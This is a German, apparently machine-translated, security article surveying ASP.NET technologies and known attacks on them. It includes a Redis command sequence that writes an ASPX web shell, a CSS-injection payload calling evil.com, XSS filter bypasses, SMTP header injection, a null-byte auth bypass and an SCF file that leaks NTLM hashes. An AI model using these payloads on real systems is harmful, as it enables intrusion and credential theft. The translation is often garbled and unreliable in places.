
Experten für Informationssicherheit sagen: "Sie brechen alles, jeden und immer." Gleichzeitig sind Angriffe auf ASP.NET selten. Daher ist es immer sehr neugierig, etwas Neues darüber zu erfahren. Unter dem Strich die Geschichte von Aleksey Morozov, Spezialist der Informationssicherheitsabteilung der Rambler Group, über die Stärken und Schwächen dieser Technologie.
Einführung
Heute hat sich ASP seine Popularität als Werkzeug zur Erstellung mittlerer und großer Projekte verdient. Und wie jede gängige Lösung ist auch ASP.NET für externe Sicherheitsforscher, Hacker und Tester von Interesse.
Dieser Artikel beschreibt mögliche ASP.NET-Sicherheitsprobleme in verschiedenen Versionen. Es sollte jedoch beachtet werden, dass ASP in der Anzahl der Lösungen für dasselbe PHP viel schlechter ist, und dies ist auf viele Faktoren zurückzuführen.
Im Gegensatz zu PHP ist die Verwendung von ASP normalerweise viel komplizierter und kostspieliger (unter Verwendung der kommerziellen Version von IIS, der Visual Studio-Entwicklungsumgebung). Bis vor kurzem (dem Aufkommen von ASP.NET Core) war die Verwendung nur unter Windows und auf dem IIS-Webserver möglich. Die Bereitstellung ist auch komplizierter.
ASP (
Active Server Pages ) ist die Technologie von Microsoft zum Erstellen dynamischer Seiten.
Beschreibung: Diese Technologie ermöglicht das Erstellen von HTML-Seiten mit Einfügungen in der Jscript-Sprache (sehr ähnlich zu JavaScript, bietet jedoch zusätzlich zu Client-Skripten eine Reihe von Optionen für die Arbeit mit dem Windows-Betriebssystem und Server-Einfügungen unter ASP).
Ein Beispiel :
<% @ Language = "JScript" %><% Response.Write("Hello World!"); %>
ASP.NETDie nächste Runde der Technologieentwicklung war die Erstellung des ASP-Kernels basierend auf dem .Net-Framework. Als Ergebnis erhielt ASP alle Funktionen dieser Lösung, nämlich:
- Verwendung verschiedener Programmiersprachen (C #, Visual Basic.NET, J # und JScript .NET);
- höhere Geschwindigkeit im Vergleich zu Skripttechnologien, da der Code zum ersten Mal kompiliert und in einem speziellen Cache abgelegt und anschließend nur ohne zeitaufwändige Analyse optimiert wird;
- kompilierter Code, mit dem Sie Fehler besser abfangen können, sodass der Debugging-Prozess selbst effizienter wird.
- die Fähigkeit, die Seite zwischenzuspeichern;
- Trennung von Präsentation und Geschäftslogik.
Basierend auf der ASP.NET-Lösung wurden die folgenden Technologien erstellt, die wir berücksichtigen werden.
ASP.NET Ajax ist eine der ASP.NET-Erweiterungen, mit denen Sie mit Ajax einen Teil des Inhalts asynchron aktualisieren können.
Ein Beispiel :
<asp:Button ID="Button1" runat="server" Text="Refresh" /> <asp:UpdatePanel ID="UpdatePanel1" runat="server"> <Triggers> <asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" /> </Triggers> <ContentTemplate> <span><%= DateTime.Now %></span> </ContentTemplate> </asp:UpdatePanel>
ASP.NET Web Forms - eine neue Entwicklung der ASP-Technologie, bei der ein Übergang zu einem komponentenorientierten Modell zum Erstellen von Anwendungen erfolgt.
Beschreibung:Das Web Forms-Modell basiert auf drei Grundkonzepten: Seiten-Postback, Ansichtsstatus und Serversteuerelemente. Jede an den Webserver gesendete und der ASP.NET-Laufzeit zugeordnete HTTP-Anforderung durchläuft mehrere Phasen, in denen die Verarbeitung des Postback-Ereignisses im Mittelpunkt steht. Das Postback-Ereignis ist die Hauptaktion, die der Benutzer aufgrund der Verarbeitung seiner Anforderung erwartet. (z. B. auf eine Schaltfläche klicken).
Einfach ausgedrückt gibt es traditionelle Steuerelemente (Steuerelemente) und ein ereignisgesteuertes Entwicklungsmodell.
Ein Beispiel :
Die Ansicht (Aspx-Datei) ist die Client-Seite.
<%@ Page Language="C#" CodeFile="SamplePage.aspx.cs" Inherits="SamplePage" AutoEventWireup="true" %> <html> <head runat="server" > <title>Code-Behind Page Model</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label id="Label1" runat="server" Text="Label" > </asp:Label> <br /> <asp:Button id="Button1" runat="server" onclick="Button1_Click" Text="Button" > </asp:Button> </div> </form> </body> </html>
Logikverarbeitung (cs-Datei (bei Verwendung von C #)) - serverseitig.
using System; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SamplePage : System.Web.UI.Page { protected void Button1_Click(object sender, EventArgs e) { Label1.Text = "Clicked at " + DateTime.Now.ToString(); } }
Die ASP.NET-Web-API ist eine weitere Erweiterung, mit der Sie API-Services für eine bequemere Entwicklung und Interaktion mit der Anwendung erstellen können.
Ein Beispiel :
[HttpDelete("{id}")] public IActionResult Delete(long id) { var todo = _context.TodoItems.Find(id); if (todo == null) { return NotFound(); } _context.TodoItems.Remove(todo); _context.SaveChanges(); return NoContent(); }
ASP.NET MVC - Die nächste Stufe in der Entwicklung der Technologie erfolgt nach der Trennung der Geschäftslogik in drei Komponenten des MVC-Musters (Model-View-Controller). Die Razor Engine wird ebenfalls eingeführt und es wird möglich, die verwalteten Elemente der Site unabhängig anzupassen, was mit Web Forms sehr schwierig war.
Vorteile :
- Die Verwaltung komplexer Strukturen wird erleichtert, indem die Anwendung in ein Modell, eine Präsentation und einen Controller unterteilt wird.
- Ansichtsstatus und Serverformulare werden nicht verwendet. Dies macht die MVC-Plattform ideal für Entwickler, die eine vollständige Kontrolle über das Anwendungsverhalten benötigen.
- Die Hauptsteuerungsschaltung, in der Webanwendungsanforderungen über eine einzelne Steuerung verarbeitet werden. Auf diese Weise können Sie Anwendungen erstellen, die eine erweiterte Routing-Infrastruktur unterstützen.
- Gut geeignet für Webanwendungen, die von großen Entwicklungsteams unterstützt werden.
Ein Beispiel :
Anzeigen @{ Layout = null; } <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>SomeView</title> </head> <body> <div> <h2>@ViewBag.Message</h2> </div> </body> </html>
Modell using System; using System.ComponentModel; using System.ComponentModel.DataAnnotations; namespace MvcModels.Models { public partial class User { public int UserId { get; set; } [DisplayName("")] public string FirstName { get; set; } [DisplayName("")] public string LastName { get; set; } [DisplayName(" ")] [DataType(DataType.Date)] public DateTime BirthDate { get; set; } } }
Controller using System.Web.Mvc; namespace NonCompiledMvc.Controllers { public class HomeController : Controller { public ActionResult Index() { return View((object)"It Works!"); } } }
ASP.NET Core - Der nächste Durchbruch in ASP.NET wird plattformübergreifend mit Unterstützung für C # 7.0.
Technologie | Starke Seiten | Schwächen |
---|
Aktive Serverseiten, ASP | Gemeinsames Ziel | Zur Laufzeit interpretiert, unterstützt "Spaghetti-Code" |
ASP.NET Web Forms 1.0 / 1.1 | Die kompilierte Benutzeroberfläche unterstützt OOP | Starker Durchsatz, komplexes HTML, nicht testbar |
ASP.NET Web Forms 2.0 | - - | - - |
ASP.NET Ajax | Ajax-Implementierung | Unangemessene Komplexität, mangelnde Flexibilität |
ASP.NET Web Forms 3.5-4.0 | - - | - - |
ASP.NET MVC 1.0-5.0 | Das Entwicklungsmodell ändert sich komplett. Es gibt Flexibilität | Das Fehlen einer plattformübergreifenden. Kann nicht im laufenden Betrieb kompiliert werden |
ASP.NET Core | Plattformübergreifend wird angezeigt. Open Source | - - |
Authentifizierung in ASP.NET
In ASP.NET MVC gibt es drei Arten der Authentifizierung, die sich erheblich voneinander unterscheiden.
- Keine Authentifizierung: ASP.NET-Identität und kein integriertes Authentifizierungssystem;
- Einzelne Benutzerkonten: Das Projekt enthält standardmäßig das ASP.NET-Identitätssystem, mit dem Sie Benutzer sowohl innerhalb der Anwendung als auch mithilfe externer Dienste wie Google, Twitter usw. autorisieren können.
- Organisationskonten: geeignet für Websites und Webanwendungen einzelner Unternehmen und Organisationen;
- Windows-Authentifizierung: Ein Authentifizierungssystem für Intranet-Netzwerke mit Windows-Konten.

ASP.NET in Bezug auf Hacking
Wie jede Technologie wurde ASP.NET gehackt. Im Folgenden werden die beliebtesten Sicherheitsstudien beschrieben, nicht nur in ASP selbst, sondern auch in Verbindung mit der Infrastruktur.
CVE-Statistiken
Wie aus der Tabelle hervorgeht, gibt es nur sehr wenige Statistiken zu Funden. Dies liegt daran, dass ASP.NET gute Kenntnisse erfordert, um es im Detail zu untersuchen. Und auch die Ressourcen dafür sind viel geringer als auf demselben PHP.
Verwenden eines Null-Bytes für die AutorisierungsumgehungCVE: CVE-2011-3416
Beschreibung: Die Autorisierung kann umgangen werden.
Algorithmus:- Registrieren Sie ein neues Konto mit einem vorhandenen Benutzernamen.
- Fügen Sie bei der Registrierung Null-Byte und zusätzliche Zeichen hinzu (admin% 0012sd).
- Somit wird die Eindeutigkeitsprüfung bestanden. Ein neuer "Administrator" -Benutzer wird mit derselben Rolle, jedoch mit einem neuen Kennwort erstellt.
Beispiel für anfälligen Code :
If (IsPostBack) { String name = Request.Form[“name”]; String password = Request.Form[“password”]; If (name != null && password != null && FormsAuthentication.Authenticate(name, password)) { FormsAuthentication.SetAuthCookie(name, false); Response.Redirect(Request[“ReturnUrl”] ?? “/”); } Else { ModelState.AddModeError(“fail”, “ .” + “ ”); } }
Proof-of-Concept :
Lösung: Dieser Fehler wurde in .Net 3.5 behoben
Remote-DebuggingBeschreibung: Da ASP.NET eine kompilierte Anwendung ist, verfügt es über bestimmte Debugging-Funktionen. Mit Microsoft können Sie einen Remote-Debugger verwenden, um an der Debug-Version der Anwendung zu arbeiten.
Wenn dieser Port im Internet geöffnet ist und durch ein einfaches Kennwort geschützt ist oder überhaupt kein Kennwort vorhanden ist, kann ein Debugger abgerufen werden. Auf diese Weise können Sie die Anwendung im DEBUG-Modus beeinflussen. Einschließlich Herausziehen von Passwörtern, Ändern der Logik, Durchführen von Tracing usw.
Proof-of-Concept :
Lösung: Verwenden Sie ein sicheres Kennwort und machen Sie den Dienst nicht zum Debuggen verfügbar.
SMTP-Header-InjectionBeschreibung: Sie müssen sich an eine kleine Spezifikation des SMTP-Protokolls erinnern.
Ein Beispiel dafür, wie ein normales einfaches SMTP-Nachrichtenpaket aussieht:
Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST) Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST) From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> X-Mailer: Loris v2.32 Lunch today?
Wenn der in den Header "An" fallende Wert nicht validiert ist, ist es natürlich möglich, den Brief an einen anderen Adressaten umzuleiten. Dies wäre jedoch zu einfach und offensichtlich, sodass die Validierung bereits auf .NET-Ebene erfolgt.
Wenn Sie jedoch einen neuen Antwort-an-Header einführen - eine Adresse für Antworten -, wird bei vielen Formularen wie "Vergessenes Passwort" häufig die Absenderadresse verwendet. Daher reicht es aus, Wagenrücklauf- und Zeilenvorschubzeichen einzuführen und eine Arbeitslast zu erhalten.
... From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu> ... : From: rth@bieberdorf.edu (RT Hood) To: tmh@immense-isp.com Reply-To: hack@hack.ru Date: Tue, Mar 18 1997 14:36:14 PST Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
Beispiel für anfälligen Code: MailAddress from = new MailAddress(“******@mail.ru", “test"); MailAddress to = new MailAddress(email); MailMessage m = new MailMessage(from, to); m.Subject = ""; m.Body = "-"; m.Headers.Add(“To", email); m.IsBodyHtml = true; SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587); smtp.Credentials = new NetworkCredential(“******@mail.ru", “******"); smtp.EnableSsl = true; smtp.Send(m);
Proof-of-Concept :
Lösung: Schreiben Sie keinen komplizierten Code, verwenden Sie frisches .Net
RCE in TeilansichtBeschreibung: In der ASP.NET MVC-Terminologie gibt es zwei wichtige Konzepte:
Ansicht ist die Ansicht, die der Benutzer sieht. Wie bereits erwähnt, ist es dank Razor- oder Web Forms-Engines möglich, serverseitigen Code zu implementieren.
Teilansicht -
Teilansicht . Dies ist Teil des Inhalts der Ansicht, der der Einfachheit halber in einer separaten Datei entfernt wird.
In der Teilansicht muss ein Feld vorhanden sein, das in HTML gerendert wird und in das eine gefährliche Last eingegeben werden kann.
Beispiel laden: Abrufen des Kennworts des aktuellen Benutzers
@((Account.Models.User)Session[“User”].Password
Als Ergebnis des Aufrufs der Ansicht wird dieser Code ausgeführt. Da die Richtlinien als Rasiermessermotor anerkannt werden. Die folgende Abbildung zeigt, wie dies geschieht.
Algorithmus:- Der Benutzer stellt eine Anfrage an die Steuerung.
- Der Controller rendert die Ansicht.
- Innerhalb der Ansicht wird eine Teilansicht angetroffen, wonach erneut eine Anforderung an die Steuerung gesendet wird, die für das Rendern der Teilansicht verantwortlich ist.
- Die fertige Teilansicht wird an die primäre und die primäre an den Benutzer zurückgegeben.
Proof-of-Concept :
Ein vereinfachtes Beispiel :
@{ Html.RenderPartial("Code", html); } Controller - public ActionResult Index(string html = "") { ViewBag.Html = html; return View(); } Partial view – @model string @{ Layout = null; } @Model Index view – @{ string html = ViewBag.Html.ToString(); } @{ Html.RenderPartial("Code", html); }
Proof-of-Concept :
PS Der Versuch zu reproduzieren ist erfolglos.
CSRF & CSS-InjektionDiese Sicherheitsanfälligkeiten implizieren eine Interaktion mit dem Benutzer.
CSRF (Cross Site Request Forgery) -
Cross Site Request Forgery .
Algorithmus:- Der Benutzer kommt zur Hacker-Site.
- Füllt die Formularfelder aus;
- Daten aus dem Formular werden im Namen des Benutzers und mit seiner Rolle an eine andere Site gesendet.
- Daher hat der Benutzer, ohne es zu merken, einige Aktionen für eine andere Ressource ausgeführt.
Zum Schutz vor dieser Art von Angriff wurden CSRF-Token erfunden. In der Regel handelt es sich hierbei um eine Zeichenfolge, die eine Folge von Zeichen enthält.
Es wurde eine Sicherheitslücke gefunden, die den Schutz gegen CSRF umging. Es war nur notwendig, einen String viel weniger als das Original als Token zu verwenden.
Normaler Token <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
Anfälliger Token <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
Die Last, um das Token über CSS (nicht XSS) zu stehlen:Wenn das Abschneiden des Tokens nicht hilft, können Sie auf den CSS-Injection-Angriff zurückgreifen, mit dem Sie das Token von der Seite stehlen und auf Ihre Ressource zeichnen können. Dank dessen wird dem Benutzer ein echtes Token gegeben, und die erforderliche Anfrage auf der Site wird in seinem Namen gestellt.
Beispiel laden :
%0A{}*{color:red;} - Test <div id ="s"> secret <style type ="text/css"> div #s:: -webkit-scrollbar-track-piece:vertical:increment { background: red url(//evil.com?s); } * {-o-link:'javascript:alert(1)';-o-link-source: current;}
XXE in DocXBeschreibung: ASP.NET verwendet wie andere Technologien viele Lösungen von Drittanbietern. In einer dieser in ASP.NET integrierten Lösungen wurde die Sicherheitsanfälligkeit XXE (XML External Entities) gefunden, die aus einem XML-Parserfehler und der Möglichkeit besteht, externe Entitäten zu verbinden, die möglicherweise kritische Daten enthalten. Weitere Informationen zu XXE finden Sie auf den
OWASP- Seiten.
In diesem Fall ist die Komponente für das Laden und Parsen von docx-Dateien (Microsoft World) verantwortlich. Da es sich bei jedem Office-Dokument tatsächlich um eine Reihe von XML-Dateien handelt, kann das Parsen zu einem XXE-Angriff führen.
Algorithmus:- Ausgepacktes Bürodokument;
- Die Last wird eingeführt;
- Es ist als docx zurückgepackt;
- Es wird zur Verarbeitung auf den Server gegossen, wo eine anfällige Komponente verwendet wird.
Proof-of-Concept :
RCE über RedisBeschreibung: Zusätzlich zu anfälligen Komponenten kann ASP.NET-Hacking mit anfälligen Technologien kombiniert werden. Beispielsweise ist im Redis RAM-Speichersystem eine langjährige Sicherheitsanfälligkeit bekannt, mit der beliebiger Code auf der Serverseite ausgeführt werden kann. Als nächstes wird dieser Angriff in Bezug auf ASP betrachtet.
Algorithmus:- Verbindung zu Redis. Es ist wichtig, dass es auf demselben Server wie der Webserver ausgeführt wird.
- Durch Ausführen der folgenden Auflistung und Verwenden eines Webservers zum Anzeigen der resultierenden Seite wird beliebiger Code ausgeführt. In diesem Fall rufen Sie den Rechner auf:
config set dir DIRNAME config set dbfilename asd.aspx flushall set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>' save
Proof-of-Concept :
XSS ByPass-FilterASP.NET verfügt über einen eigenen Mechanismus zum Filtern von Daten aus Angriffen der XSS-Klasse. Wenn Sie versuchen, verbotene Zeichen oder Signaturen zu übertragen, wird der folgende Schutz ausgelöst:

Es gibt jedoch viele Möglichkeiten, diesen Schutz zu umgehen. Hier sind einige davon:
- % EF% BC% 9Cimg% 20src% 3Dxxx% 20onerror% 3D- Alarm (1) % EF% BC% 9E
- <- / script> alert (1) ;
- </ XSS / * - * / STYLE = xss: e / ** / xpression ( Warnung ('XSS') )>
- % uff1cscript% uff1e alert ('XSS') ;% uff1c / script% uff1e
In den neuesten Versionen funktionieren diese Methoden nicht mehr. Wie bereits erwähnt, wurde die ASP.NET-Technologie hauptsächlich für große und lange Projekte erstellt, sodass viele Ressourcen von dieser Sicherheitsanfälligkeit betroffen sein können.
Shell-BefehlsdateiBeschreibung: Vor nicht allzu langer Zeit donnerte eine Sicherheitslücke im Zusammenhang mit dem Google Chrome-Browser, deren Kern darin besteht, den NTLM-Hash des Benutzers zu stehlen.
Algorithmus:1) Eine Datei wird mit der Erweiterung scf und dem folgenden Inhalt erstellt
[Shell] IconFile=\\***.**.*.***\icon
Dabei ist IP anstelle von Sternchen die Adresse des SMB-Servers des Angreifers.
2) Wenn es auf den Computer des Benutzers gelangt, muss diese Datei nicht einmal geöffnet werden. Es reicht aus, wenn der Benutzer einfach in denselben Ordner wechselt, in dem sich diese Datei befindet. Sobald dies geschieht, wird ein Hash-Paket an den SMB-Server gesendet.
3) Somit kann Infrastruktur-Hacking auch mit einfachen Schwachstellen wie Open Redirect kombiniert werden.
Proof-of-Concept :
Vielen Dank für Ihre Aufmerksamkeit! Teilen Sie Ihre Erfahrungen mit und hinterlassen Sie Fragen an Alexei Morozov (auch bekannt als
SoolFaa ) in den Kommentaren zu diesem Artikel.